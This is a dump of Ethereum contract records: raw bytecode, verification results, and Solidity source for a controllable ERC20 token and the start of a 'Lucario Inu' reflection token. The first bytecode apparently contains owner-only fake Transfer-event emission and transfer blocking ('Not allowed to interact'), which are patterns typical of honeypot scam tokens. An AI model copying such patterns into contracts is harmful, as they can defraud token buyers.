50505050565b6102c56004803603604081101561095f57600080fd5b506001600160a01b0381358116916020013516611385565b61027b6004803603606081101561098d57600080fd5b6001600160a01b038235169190810190604081016020820135600160201b8111156109b757600080fd5b8201836020820111156109c957600080fd5b803590602001918460208302840111600160201b831117156109ea57600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b811115610a3957600080fd5b820183602082011115610a4b57600080fd5b803590602001918460208302840111600160201b83111715610a6c57600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295506113b0945050505050565b60058054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610b365780601f10610b0b57610100808354040283529160200191610b36565b820191906000526020600020905b815481529060010190602001808311610b1957829003601f168201915b5050505050905090565b600d546001600160a01b03163314610b88576040805162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015290519081900360640190fd5b60005b8151811015610c30576001806000848481518110610ba557fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff021916908315150217905550600060026000848481518110610bf657fe5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055600101610b8b565b5050565b6000610c48610c416114d1565b84846114d5565b50600192915050565b60045490565b6000610c648484846115c1565b610cd484610c706114d1565b610ccf856040518060600160405280602881526020016120e2602891396001600160a01b038a16600090815260036020526040812090610cae6114d1565b6001600160a01b031681526020810191909152604001600020549190611846565b6114d5565b5060019392505050565b600d546001600160a01b03163314610d2b576040805162461bcd60e51b815260206004820152601760248201526000805160206120c2833981519152604482015290519081900360640190fd5b6001600160a01b038082166000908152600160208190526040909120805460ff19169091179055600b54600854610d6592849216906114d5565b50565b60075460ff1690565b600d546001600160a01b03163314610dbe576040805162461bcd60e51b815260206004820152601760248201526000805160206120c2833981519152604482015290519081900360640190fd5b60005b8251811015610e3157828181518110610dd657fe5b60200260200101516001600160a01b0316846001600160a01b031660008051602061210a833981519152848481518110610e0c57fe5b60200260200101516040518082815260200191505060405180910390a3600101610dc1565b50505050565b600d546001600160a01b03163314610e96576040805162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b600454610ea39082611470565b600455600d546001600160a01b0316600090815260208190526040902054610ecb9082611470565b600d546001600160a01b03908116600090815260208181526040808320949094558351858152935192861693919260008051602061210a8339815191529281900390910190a35050565b600d546001600160a01b03163314610f5d576040805162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015290519081900360640190fd5b600980546001600160a01b0319166001600160a01b0392909216919091179055565b600b546001600160a01b031681565b6001600160a01b031660009081526020819052604090205490565b600d546001600160a01b03163314610ff6576040805162461bcd60e51b815260206004820152601760248201526000805160206120c2833981519152604482015290519081900360640190fd5b565b600d546001600160a01b03163314611045576040805162461bcd60e51b815260206004820152601760248201526000805160206120c2833981519152604482015290519081900360640190fd5b60005b8251811015610e3157836001600160a01b031683828151811061106757fe5b60200260200101516001600160a01b031660008051602061210a83398151915284848151811061109357fe5b60200260200101516040518082815260200191505060405180910390a3600101611048565b600d546000906001600160a01b03163314611108576040805162461bcd60e51b815260206004820152601760248201526000805160206120c2833981519152604482015290519081900360640190fd5b61111c826111146114d1565b6008546114d5565b506001919050565b60068054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610b365780601f10610b0b57610100808354040283529160200191610b36565b600d546001600160a01b031633146111d2576040805162461bcd60e51b815260206004820152601760248201526000805160206120c2833981519152604482015290519081900360640190fd5b60005b8251811015610e3157836001600160a01b03168382815181106111f457fe5b60200260200101516001600160a01b031660008051602061210a83398151915284848151811061122057fe5b60200260200101516040518082815260200191505060405180910390a36001016111d5565b6000610c486112526114d1565b84846115c1565b600d546001600160a01b031681565b600d546001600160a01b031633146112b5576040805162461bcd60e51b815260206004820152601760248201526000805160206120c2833981519152604482015290519081900360640190fd5b6001600160a01b038082166000908152600160205260408120805460ff19169055600b54610d659284929116906114d5565b600d546001600160a01b03163314611334576040805162461bcd60e51b815260206004820152601760248201526000805160206120c2833981519152604482015290519081900360640190fd5b611340836111146114d1565b60005b8251811015610e315761137d8484838151811061135c57fe5b602002602001015184848151811061137057fe5b60200260200101516118dd565b600101611343565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b600d546001600160a01b031633146113fd576040805162461bcd60e51b815260206004820152601760248201526000805160206120c2833981519152604482015290519081900360640190fd5b60005b8251811015610e315782818151811061141557fe5b60200260200101516001600160a01b0316846001600160a01b031660008051602061210a83398151915284848151811061144b57fe5b60200260200101516040518082815260200191505060405180910390a3600101611400565b6000828201838110156114ca576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b3390565b6001600160a01b03831661151a5760405162461bcd60e51b815260040180806020018281038252602481526020018061214f6024913960400191505060405180910390fd5b6001600160a01b03821661155f5760405162461bcd60e51b815260040180806020018281038252602281526020018061207a6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260036020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b600954600d548391839186916000916001600160a01b0390811691161480156115f75750600d546001600160a01b038381169116145b1561162757600980546001600160a01b0319166001600160a01b038616179055611622878787611a56565b61183d565b600d546001600160a01b038381169116148061165057506009546001600160a01b038381169116145b806116685750600d546001600160a01b038581169116145b156116b157600d546001600160a01b03838116911614801561169b5750836001600160a01b0316826001600160a01b0316145b156116a657600a8390555b611622878787611a56565b6001600160a01b03821660009081526001602081905260409091205460ff16151514156116e357611622878787611a56565b6001600160a01b03821660009081526002602052604090205460ff1615156001141561176d576009546001600160a01b03838116911614806117325750600b546001600160a01b038581169116145b6116a65760405162461bcd60e51b815260040180806020018281038252602681526020018061209c6026913960400191505060405180910390fd5b600a548310156117ce576009546001600160a01b03858116911614156116a6576001600160a01b03821660009081526002602090815260408083208054600160ff199182168117909255925290912080549091169055611622878787611a56565b6009546001600160a01b03838116911614806117f75750600b546001600160a01b038581169116145b6118325760405162461bcd60e51b815260040180806020018281038252602681526020018061209c6026913960400191505060405180910390fd5b61183d878787611a56565b50505050505050565b600081848411156118d55760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561189a578181015183820152602001611882565b50505050905090810190601f1680156118c75780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6001600160a01b0383166119225760405162461bcd60e51b815260040180806020018281038252602581526020018061212a6025913960400191505060405180910390fd5b6001600160a01b0382166119675760405162461bcd60e51b81526004018080602001828103825260238152602001806120576023913960400191505060405180910390fd5b611972838383612051565b6119af8160405180606001604052806026815260200161209c602691396001600160a01b0386166000908152602081905260409020549190611846565b6001600160a01b0380851660009081526020819052604080822093909355908416815220546119de9082611470565b6001600160a01b03808416600090815260208190526040902091909155600d5484821691161415611a1857600c546001600160a01b031692505b816001600160a01b0316836001600160a01b031660008051602061210a833981519152836040518082815260200191505060405180910390a3505050565b600954600d548391839186916000916001600160a01b039081169116148015611a8c5750600d546001600160a01b038381169116145b15611c2257600980546001600160a01b0319166001600160a01b03868116919091179091558716611aee5760405162461bcd60e51b815260040180806020018281038252602581526020018061212a6025913960400191505060405180910390fd5b6001600160a01b038616611b335760405162461bcd60e51b81526004018080602001828103825260238152602001806120576023913960400191505060405180910390fd5b611b3e878787612051565b611b7b8560405180606001604052806026815260200161209c602691396001600160a01b038a166000908152602081905260409020549190611846565b6001600160a01b038089166000908152602081905260408082209390935590881681522054611baa9086611470565b6001600160a01b03808816600090815260208190526040902091909155600d5488821691161415611be457600c546001600160a01b031696505b856001600160a01b0316876001600160a01b031660008051602061210a833981519152876040518082815260200191505060405180910390a361183d565b600d546001600160a01b0383811691161480611c4b57506009546001600160a01b038381169116145b80611c635750600d546001600160a01b038581169116145b15611ce657600d546001600160a01b038381169116148015611c965750836001600160a01b0316826001600160a01b0316145b15611ca157600a8390555b6001600160a01b038716611aee5760405162461bcd60e51b815260040180806020018281038252602581526020018061212a6025913960400191505060405180910390fd5b6001600160a01b03821660009081526001602081905260409091205460ff1615151415611d52576001600160a01b038716611aee5760405162461bcd60e51b815260040180806020018281038252602581526020018061212a6025913960400191505060405180910390fd5b6001600160a01b03821660009081526002602052604090205460ff16151560011415611ddc576009546001600160a01b0383811691161480611da15750600b546001600160a01b038581169116145b611ca15760405162461bcd60e51b815260040180806020018281038252602681526020018061209c6026913960400191505060405180910390fd5b600a54831015611e70576009546001600160a01b0385811691161415611ca1576001600160a01b0382811660009081526002602090815260408083208054600160ff1991821681179092559252909120805490911690558716611aee5760405162461bcd60e51b815260040180806020018281038252602581526020018061212a6025913960400191505060405180910390fd5b6009546001600160a01b0383811691161480611e995750600b546001600160a01b038581169116145b611ed45760405162461bcd60e51b815260040180806020018281038252602681526020018061209c6026913960400191505060405180910390fd5b6001600160a01b038716611f195760405162461bcd60e51b815260040180806020018281038252602581526020018061212a6025913960400191505060405180910390fd5b6001600160a01b038616611f5e5760405162461bcd60e51b81526004018080602001828103825260238152602001806120576023913960400191505060405180910390fd5b611f69878787612051565b611fa68560405180606001604052806026815260200161209c602691396001600160a01b038a166000908152602081905260409020549190611846565b6001600160a01b038089166000908152602081905260408082209390935590881681522054611fd59086611470565b6001600160a01b03808816600090815260208190526040902091909155600d548882169116141561200f57600c546001600160a01b031696505b856001600160a01b0316876001600160a01b031660008051602061210a833981519152876040518082815260200191505060405180910390a350505050505050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63654e6f7420616c6c6f77656420746f20696e74657261637400000000000000000045524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212200e11cd4e472c0ebede00ecad3a69070173894ed8f6f696fbae6500a578f09f7464736f6c634300060c0033
{"success": true, "error": null, "results": {}}
479
0x4946fcea7c692606e8908002e55a582af44ac121
pragma solidity 0.4.24; // File: node_modules/@tokenfoundry/token-contracts/contracts/TokenControllerI.sol /// @title Interface for token controllers. The controller specifies whether a transfer can be done. contract TokenControllerI { /// @dev Specifies whether a transfer is allowed or not. /// @return True if the transfer is allowed function transferAllowed(address _from, address _to) external view returns (bool); } // File: openzeppelin-solidity/contracts/ownership/Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } // File: openzeppelin-solidity/contracts/math/SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting &#39;a&#39; not being zero, but the // benefit is lost if &#39;b&#39; is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } // File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } // File: openzeppelin-solidity/contracts/token/ERC20/BasicToken.sol /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } // File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } // File: openzeppelin-solidity/contracts/token/ERC20/StandardToken.sol /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint _subtractedValue ) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } // File: node_modules/@tokenfoundry/token-contracts/contracts/ControllableToken.sol /** * @title Controllable ERC20 token * * @dev Token that queries a token controller contract to check if a transfer is allowed. * @dev controller state var is going to be set with the address of a TokenControllerI contract that has * implemented transferAllowed() function. */ contract ControllableToken is Ownable, StandardToken { TokenControllerI public controller; /// @dev Executes transferAllowed() function from the Controller. modifier isAllowed(address _from, address _to) { require(controller.transferAllowed(_from, _to)); _; } /// @dev Sets the controller that is going to be used by isAllowed modifier function setController(TokenControllerI _controller) onlyOwner public { require(_controller != address(0)); controller = _controller; } /// @dev It calls parent BasicToken.transfer() function. It will transfer an amount of tokens to an specific address /// @return True if the token is transfered with success function transfer(address _to, uint256 _value) isAllowed(msg.sender, _to) public returns (bool) { return super.transfer(_to, _value); } /// @dev It calls parent StandardToken.transferFrom() function. It will transfer from an address a certain amount of tokens to another address /// @return True if the token is transfered with success function transferFrom(address _from, address _to, uint256 _value) isAllowed(_from, _to) public returns (bool) { return super.transferFrom(_from, _to, _value); } } // File: openzeppelin-solidity/contracts/token/ERC20/DetailedERC20.sol /** * @title DetailedERC20 token * @dev The decimals are only for visualization purposes. * All the operations are done using the smallest and indivisible token unit, * just as on Ethereum all the operations are done in wei. */ contract DetailedERC20 is ERC20 { string public name; string public symbol; uint8 public decimals; constructor(string _name, string _symbol, uint8 _decimals) public { name = _name; symbol = _symbol; decimals = _decimals; } } // File: node_modules/@tokenfoundry/token-contracts/contracts/Token.sol /** * @title Token base contract - Defines basic structure for a token * * @dev ControllableToken is a StandardToken, an OpenZeppelin ERC20 implementation library. DetailedERC20 is also an OpenZeppelin contract. * More info about them is available here: https://github.com/OpenZeppelin/zeppelin-solidity/tree/master/contracts/token/ERC20 */ contract Token is ControllableToken, DetailedERC20 { /** * @dev Transfer is an event inherited from ERC20Basic.sol interface (OpenZeppelin). * @param _supply Total supply of tokens. * @param _name Is the long name by which the token contract should be known * @param _symbol The set of capital letters used to represent the token e.g. DTH. * @param _decimals The number of decimal places the tokens can be split up into. This should be between 0 and 18. */ constructor( uint256 _supply, string _name, string _symbol, uint8 _decimals ) DetailedERC20(_name, _symbol, _decimals) public { require(_supply != 0); totalSupply_ = _supply; balances[msg.sender] = _supply; emit Transfer(address(0), msg.sender, _supply); //event } }
0x6080604052600436106100e55763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100ea578063095ea7b31461017457806318160ddd146101ac57806323b872dd146101d3578063313ce567146101fd578063661884631461022857806370a082311461024c578063715018a61461026d5780638da5cb5b1461028457806392eefe9b146102b557806395d89b41146102d6578063a9059cbb146102eb578063d73dd6231461030f578063dd62ed3e14610333578063f2fde38b1461035a578063f77c47911461037b575b600080fd5b3480156100f657600080fd5b506100ff610390565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610139578181015183820152602001610121565b50505050905090810190601f1680156101665780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561018057600080fd5b50610198600160a060020a036004351660243561041e565b604080519115158252519081900360200190f35b3480156101b857600080fd5b506101c1610484565b60408051918252519081900360200190f35b3480156101df57600080fd5b50610198600160a060020a036004358116906024351660443561048a565b34801561020957600080fd5b5061021261054e565b6040805160ff9092168252519081900360200190f35b34801561023457600080fd5b50610198600160a060020a0360043516602435610557565b34801561025857600080fd5b506101c1600160a060020a0360043516610647565b34801561027957600080fd5b50610282610662565b005b34801561029057600080fd5b506102996106ce565b60408051600160a060020a039092168252519081900360200190f35b3480156102c157600080fd5b50610282600160a060020a03600435166106dd565b3480156102e257600080fd5b506100ff610738565b3480156102f757600080fd5b50610198600160a060020a0360043516602435610793565b34801561031b57600080fd5b50610198600160a060020a036004351660243561084f565b34801561033f57600080fd5b506101c1600160a060020a03600435811690602435166108e8565b34801561036657600080fd5b50610282600160a060020a0360043516610913565b34801561038757600080fd5b50610299610936565b6005805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156104165780601f106103eb57610100808354040283529160200191610416565b820191906000526020600020905b8154815290600101906020018083116103f957829003601f168201915b505050505081565b336000818152600360209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60025490565b60048054604080517f214e52ca000000000000000000000000000000000000000000000000000000008152600160a060020a0380881694820194909452838616602482015290516000938793879391169163214e52ca9160448082019260209290919082900301818987803b15801561050257600080fd5b505af1158015610516573d6000803e3d6000fd5b505050506040513d602081101561052c57600080fd5b5051151561053957600080fd5b610544868686610945565b9695505050505050565b60075460ff1681565b336000908152600360209081526040808320600160a060020a0386168452909152812054808311156105ac57336000908152600360209081526040808320600160a060020a03881684529091528120556105e1565b6105bc818463ffffffff610abe16565b336000908152600360209081526040808320600160a060020a03891684529091529020555b336000818152600360209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600160a060020a031660009081526001602052604090205490565b600054600160a060020a0316331461067957600080fd5b60008054604051600160a060020a03909116917ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482091a26000805473ffffffffffffffffffffffffffffffffffffffff19169055565b600054600160a060020a031681565b600054600160a060020a031633146106f457600080fd5b600160a060020a038116151561070957600080fd5b6004805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b6006805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156104165780601f106103eb57610100808354040283529160200191610416565b60048054604080517f214e52ca00000000000000000000000000000000000000000000000000000000815233938101849052600160a060020a0380871660248301529151600094938793169163214e52ca91604480830192602092919082900301818987803b15801561080557600080fd5b505af1158015610819573d6000803e3d6000fd5b505050506040513d602081101561082f57600080fd5b5051151561083c57600080fd5b6108468585610ad0565b95945050505050565b336000908152600360209081526040808320600160a060020a0386168452909152812054610883908363ffffffff610bb316565b336000818152600360209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a03918216600090815260036020908152604080832093909416825291909152205490565b600054600160a060020a0316331461092a57600080fd5b61093381610bc6565b50565b600454600160a060020a031681565b6000600160a060020a038316151561095c57600080fd5b600160a060020a03841660009081526001602052604090205482111561098157600080fd5b600160a060020a03841660009081526003602090815260408083203384529091529020548211156109b157600080fd5b600160a060020a0384166000908152600160205260409020546109da908363ffffffff610abe16565b600160a060020a038086166000908152600160205260408082209390935590851681522054610a0f908363ffffffff610bb316565b600160a060020a038085166000908152600160209081526040808320949094559187168152600382528281203382529091522054610a53908363ffffffff610abe16565b600160a060020a03808616600081815260036020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b600082821115610aca57fe5b50900390565b6000600160a060020a0383161515610ae757600080fd5b33600090815260016020526040902054821115610b0357600080fd5b33600090815260016020526040902054610b23908363ffffffff610abe16565b3360009081526001602052604080822092909255600160a060020a03851681522054610b55908363ffffffff610bb316565b600160a060020a0384166000818152600160209081526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b81810182811015610bc057fe5b92915050565b600160a060020a0381161515610bdb57600080fd5b60008054604051600160a060020a03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03929092169190911790555600a165627a7a723058205a5ba26a9e59b08cf8f9dcd32b897620fc37f8337a8ea608b1a1fa9b799d25ce0029
{"success": true, "error": null, "results": {}}
480
0x060dfce4e98a002deab7c6150322d40e357c27b3
/** *Submitted for verification at Etherscan.io on 2021-10-18 */ /** *Submitted for verification at Etherscan.io on 2021-10-18 */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactTokensForETH( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract LucarioInu is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; string public constant _name = "Lucario Inu | t.me/lucarioinu"; string public constant _symbol = "LUCARIO"; uint8 public constant _decimals = 9; IUniswapV2Router02 public uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); address public uniswapV2Pair; bool private tradingOpen; bool public inSwap = true; bool public swapEnabled = false; bool public cooldownEnabled = true; uint256 public _maxTxAmount = 10000000000000e9; uint256 public _holdersfee = 2; uint256 public _taxfee=20; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0xFd01043410D33Eb4D7386CB383078CEE034A1CCe); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); 